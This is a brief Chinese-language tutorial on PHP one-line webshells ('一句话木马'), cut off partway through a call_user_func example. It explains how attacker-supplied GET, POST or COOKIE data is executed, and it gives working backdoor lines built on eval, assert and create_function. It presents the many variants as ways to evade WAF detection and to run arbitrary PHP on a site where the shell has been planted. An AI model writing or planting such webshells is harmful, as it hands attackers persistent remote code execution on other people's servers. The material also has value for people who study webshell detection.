PHP一句话木马之小马

什么是一句话木马

• 一句话木马就是只需要一行代码的木马，短短一行代码，就能做到和大马相当的功能。为了绕过waf的检测，一句话木马出现了无数中变形，但本质是不变的：木马的函数执行了我们发送的命令。

• 我们如何发送命令，发送的命令如何执行？
  我们可以通过GET 、POST 、COOKIE这三种方式向一个网站提交数据，一句话木马用$_GET[’ ‘]、$_POST[’ ‘]、$_COOKIE[’ '] 接收我们传递的数据，并把接收的数据传递给一句话木马中执行命令的函数，进而执行命令。

• 所以看到的经典一句话木马大多都是只有两个部分，一个是可以执行代码的函数部分，一个是接收数据的部分。

* 例如：<?php eval(@$_POST['a']); ?>
* 其中eval就是执行命令的函数，$_POST['a']就是接收的数据。eval函数把接收的数据当作PHP代码来执行。这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意PHP语句。这便是一句话木马的强大之处。

其他函数制作一句话木马

assert函数
<?php assert(@$_POST['a']); ?>
create_function函数
<?php 
$fun = create_function('',$_POST['a']);
$fun();
?>
把用户传递的数据生成一个函数fun()，然后再执行fun()

call_user_func回调函数
<?php
@call_user_fu